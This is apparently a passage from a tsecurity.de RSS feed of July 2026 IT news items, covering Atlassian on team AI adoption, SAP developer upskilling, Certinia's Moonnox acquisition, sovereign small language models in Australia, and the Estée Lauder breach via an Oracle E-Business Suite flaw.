fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Anzeige: 16,1 Zoll großer Portable Monitor mit Full-HD-Auflösung für unter 90 Euro]]></title>
<description><![CDATA[Der unter Amazon-Kunden beliebte Arzopa Z1C ist im befristeten Angebot zum Tiefpreis erhältlich. Weniger als jetzt kostet er selten. (TV & Monitore, Display)]]></description>
<link>https://tsecurity.de/de/3684367/it-nachrichten/anzeige-161-zoll-grosser-portable-monitor-mit-full-hd-aufloesung-fuer-unter-90-euro/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684367/it-nachrichten/anzeige-161-zoll-grosser-portable-monitor-mit-full-hd-aufloesung-fuer-unter-90-euro/</guid>
<pubDate>Tue, 21 Jul 2026 18:33:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der unter Amazon-Kunden beliebte Arzopa Z1C ist im befristeten Angebot zum Tiefpreis erhältlich. Weniger als jetzt kostet er selten. (<a href="https://www.golem.de/specials/tv-und-monitore/">TV &amp; Monitore</a>, <a href="https://www.golem.de/specials/display/">Display</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211129&amp;page=1&amp;ts=1784650981" alt="" width="1" height="1">]]></content:encoded>
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<title><![CDATA[SAP developers face education debt, user group warns]]></title>
<description><![CDATA[Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.



The user association urges CIOs to treat the continuing ...]]></description>
<link>https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</guid>
<pubDate>Tue, 21 Jul 2026 17:50:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.</p>



<p class="wp-block-paragraph">The user association urges CIOs to treat the continuing education of SAP developers not as a voluntary training measure but as a strategic investment program in a new <a href="https://impulsant.dsag.de/wp-content/uploads/2026/07/CIO-Upskilling.pdf" target="_blank" rel="noreferrer noopener">report on upskilling</a> [PDF, in German]. Well-trained developers are essential for building stable, maintainable in-house projects without accumulating technical debt, but without continuing education during the upgrade to S/4HANA, the potential of the new technologies will remain untapped, it warned.</p>



<h2 class="wp-block-heading">Outdated expertise becomes a project risk</h2>



<p class="wp-block-paragraph">As the authors explain, while many ABAP developers have decades of experience with SAP R/3 or ECC and possess extensive process knowledge, development paradigms have fundamentally changed with S/4HANA, Clean Core, and <a href="https://www.cio.com/article/189599/sap-doubles-down-on-citizen-developer-strategy.html#:~:text=There%E2%80%99s%20also%20a,cloud%2C%E2%80%9D%20says%20Mueller.">ABAP Cloud</a>.</p>



<p class="wp-block-paragraph">In the long term, this threatens to lead to poor architectural decisions, time-consuming workarounds, and in-house developments that will need to be maintained with every release, according to DSAG. Many business consultants, too, are still relying too heavily on classic GUI transactions and not taking modern Fiori technologies sufficiently into account.</p>



<p class="wp-block-paragraph">The result is what the SAP user group refers to as “skills debt.” This debt remains invisible at first but later becomes apparent in the form of longer projects, rising maintenance costs, and a growing dependence on external service providers.</p>



<h2 class="wp-block-heading">Skill building must start before the project</h2>



<p class="wp-block-paragraph">The DSAG authors view the timing of training as particularly critical. Those who wait until an ongoing S/4HANA migration project is underway to begin building expertise significantly increase the project risk. A lack of knowledge about CDS, RAP, or Fiori leads to architectural decisions that must later be corrected at great expense. At the same time, the necessary learning effort can hardly be managed alongside day-to-day business operations.</p>



<p class="wp-block-paragraph">But even after the migration is complete, SAP developers must continue their training, according to DSAG. The authors warn that anyone who continues to work as they did on ECC will miss out on the opportunities offered by current SAP technologies — even if everything still works technically. At the same time, they can immediately apply what they’ve learned, which helps solidify their new knowledge.</p>



<h2 class="wp-block-heading">AI no replacement for developer expertise</h2>



<p class="wp-block-paragraph">While <a href="https://www.cio.com/article/4197428/sap-study-ai-pays-off-but-governance-is-lagging-behind.html">AI tools can generate and explain code</a>, this requires that developers be able to evaluate the results from a technical perspective, and according to DSAG the same applies to development in the SAP environment: “Only those who understand what constitutes good SAP code can use AI as an accelerator,” the authors write. Otherwise, AI acts as a risk amplifier and, in the worst case, merely accelerates the accumulation of technical debt.</p>



<p class="wp-block-paragraph">The prerequisites for successful AI deployment are solid software engineering knowledge, automated testing, and an understanding of modern SAP development.</p>



<h2 class="wp-block-heading">DSAG’s five recommendations</h2>



<p class="wp-block-paragraph">DSAG recommends that CIOs firmly integrate continuing education into their transformation strategy with five measures:</p>



<ul class="wp-block-list">
<li>defining mandatory learning paths for different roles, such as ABAP, CAP, or integration developers, as well as business consultants,</li>



<li>providing suitable sandbox and test environments,</li>



<li>mandatorily including training time in capacity planning,</li>



<li>coordinating training schedules with migration and modernization projects, and</li>



<li>using existing DSAG guidelines as a reference framework for development.</li>
</ul>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Certinia acquires AI services company Moonnox]]></title>
<description><![CDATA[AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, t...]]></description>
<link>https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</guid>
<pubDate>Tue, 21 Jul 2026 17:30:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AI-powered <a href="https://www.cio.com/article/2092137/certinia-bakes-ai-into-its-latest-professional-services-updates.html">professional services automation</a> provider <a href="https://www.cio.com/article/1258572/certinia-uses-ai-to-accelerate-finance-functions-for-service-companies.html">Certinia</a> has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.</p>



<p class="wp-block-paragraph">The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.</p>



<p class="wp-block-paragraph">New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.</p>



<p class="wp-block-paragraph">“What excites me most is the combination,” <a href="https://www.linkedin.com/in/robertong8/" target="_blank" rel="noreferrer noopener">Robert Ong</a>, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”</p>



<p class="wp-block-paragraph">However, <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, VP and principal analyst at Moor Insights &amp; Strategy, still has questions.</p>



<p class="wp-block-paragraph">“While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”</p>
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<title><![CDATA[The AI Slot Machine Effect: Why Generative Feeds Disrupt Deep Work And How to Reclaim Focus]]></title>
<description><![CDATA[You open a generative AI tool expecting a quick boost. Ten minutes later, you’re still there, refining a prompt for the fourth time. The task you started with has drifted off to the side somewhere. Sound familiar? Knowledge workers in 2026 are running into this more and more. It makes sense once ...]]></description>
<link>https://tsecurity.de/de/3683805/ai-nachrichten/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683805/ai-nachrichten/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/</guid>
<pubDate>Tue, 21 Jul 2026 15:20:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You open a generative AI tool expecting a quick boost. Ten minutes later, you’re still there, refining a prompt for the fourth time. The task you started with has drifted off to the side somewhere. Sound familiar? Knowledge workers in 2026 are running into this more and more. It makes sense once you look at […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/">The AI Slot Machine Effect: Why Generative Feeds Disrupt Deep Work And How to Reclaim Focus</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
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<title><![CDATA[Bluecore Energy raises $10M to build portable nuclear reactors on barges]]></title>
<description><![CDATA[Maritime nuclear energy startup Bluecore Energy has raised $10 million in a pre-seed funding round led by Slauson & Co.]]></description>
<link>https://tsecurity.de/de/3683803/ai-nachrichten/bluecore-energy-raises-10m-to-build-portable-nuclear-reactors-on-barges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683803/ai-nachrichten/bluecore-energy-raises-10m-to-build-portable-nuclear-reactors-on-barges/</guid>
<pubDate>Tue, 21 Jul 2026 15:20:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maritime nuclear energy startup Bluecore Energy has raised $10 million in a pre-seed funding round led by Slauson &amp; Co.]]></content:encoded>
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<title><![CDATA[Atlassian: Why AI speeds up employees but not organizations]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</guid>
<pubDate>Tue, 21 Jul 2026 14:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Estée Lauder Confirms Cyberattack Affecting Personal Information]]></title>
<description><![CDATA[The Estée Lauder data breach has prompted the global cosmetics company to notify affected individuals after hackers exploited a vulnerability in Oracle E-Business Suite, a platform used for human resources (HR) operations.  

The Estée Lauder cyberattack stemmed from unauthorized access that oc...]]></description>
<link>https://tsecurity.de/de/3683174/it-security-nachrichten/este-lauder-confirms-cyberattack-affecting-personal-information/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683174/it-security-nachrichten/este-lauder-confirms-cyberattack-affecting-personal-information/</guid>
<pubDate>Tue, 21 Jul 2026 11:22:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1255" height="760" src="https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Estée Lauder data breach" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach.webp 1255w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-300x182.webp 300w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1024x620.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-768x465.webp 768w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-600x363.webp 600w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-750x454.webp 750w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1140x690.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach.webp 1255w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-300x182.webp 300w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1024x620.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-768x465.webp 768w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-600x363.webp 600w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-750x454.webp 750w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1140x690.webp 1140w" sizes="(max-width: 1255px) 100vw, 1255px" title="Estée Lauder Confirms Cyberattack Affecting Personal Information 1"></p><span data-contrast="auto">The Estée Lauder data breach has prompted the global cosmetics company to notify affected individuals after hackers exploited a vulnerability in Oracle E-Business Suite, a platform used for human resources (HR) operations. </span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The Estée Lauder cyberattack stemmed from unauthorized access that occurred on or around August 9, 2025, though the company said it identified the incident last month and confirmed the scope of the breach on June 19, 2026.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Estée Lauder Data Breach Exposed Sensitive Personal Information</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to the <a href="https://oag.ca.gov/system/files/ELC%20-%20U.S.%20Individual%20Notification%20Letter.pdf" target="_blank" rel="nofollow noopener">company's notification letter</a>, the attackers gained access to the Oracle E-Business Suite system and obtained personal information belonging to certain individuals.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">We became aware of a cybersecurity issue involving a <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29047">vulnerability</a> in the Oracle E-Business Suite system which is used by the Estee Lauder Companies for HR management purposes," the notice states.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">It further adds: "On June 19, 2026, we determined through our investigation that, on or around August 9, 2025, an unauthorized third party gained access to the Oracle E-Business Suite system and obtained personal information of certain individuals."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The exposed <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29050">data</a> in the incident includes full names, postal addresses, email addresses, dates of birth, Social Security numbers (SSNs), passport numbers, financial account information, including bank account numbers, health information, and employment records such as payroll and performance reports.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Oracle Vulnerability Tied to Estée Lauder Cyberattack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Although Estée Lauder did not identify the specific vulnerability used in the attack, the timeline aligns with the widespread exploitation of the Oracle E-Business Suite flaw <a href="https://thecyberexpress.com/oracle-ebs-critical-flaw-cve-2025-61882/" target="_blank" rel="noopener">CVE-2025-61882</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In October 2025, researchers from Google warned that the <a href="https://thecyberexpress.com/threat-actors/clop-ransomware-group/" target="_blank" rel="noopener">Clop ransomware group</a> had exploited the vulnerability as a zero-day to steal data. The flaw affected Oracle EBS versions 12.2.3 through 12.2.14, allowing attackers to bypass authentication and remotely execute code through the BI Publisher Integration component. Successful exploitation could provide access to sensitive HR and business information.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Oracle released <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29052">security</a> patches for CVE-2025-61882 on October 4, 2025. Soon after, <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noopener" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29051">cybersecurity</a> company CrowdStrike confirmed that Clop had been exploiting the vulnerability since early August 2025.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Company Offers Identity Monitoring</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Estée Lauder, headquartered in New York, generates annual revenue of $14.3 billion, employs around 57,000 people, and operates retail stores and online businesses worldwide, making it the world's second-largest cosmetics company.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Following the Estée Lauder data breach, the company is urging recipients of its notification letter to monitor for signs of identity theft and <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="29048">fraud</a>. It is also providing 24 months of complimentary identity monitoring services through Kroll.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The Estée Lauder <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29049">cyberattack</a> is part of a broader campaign that affected several high-profile organizations, including Harvard, the University of Pennsylvania, Dartmouth, the University of Phoenix, The Washington Post, Logitech, GlobalLogic, Cox Enterprises, and American Airlines subsidiary Envoy Air.</span><span data-ccp-props="{}"> </span>

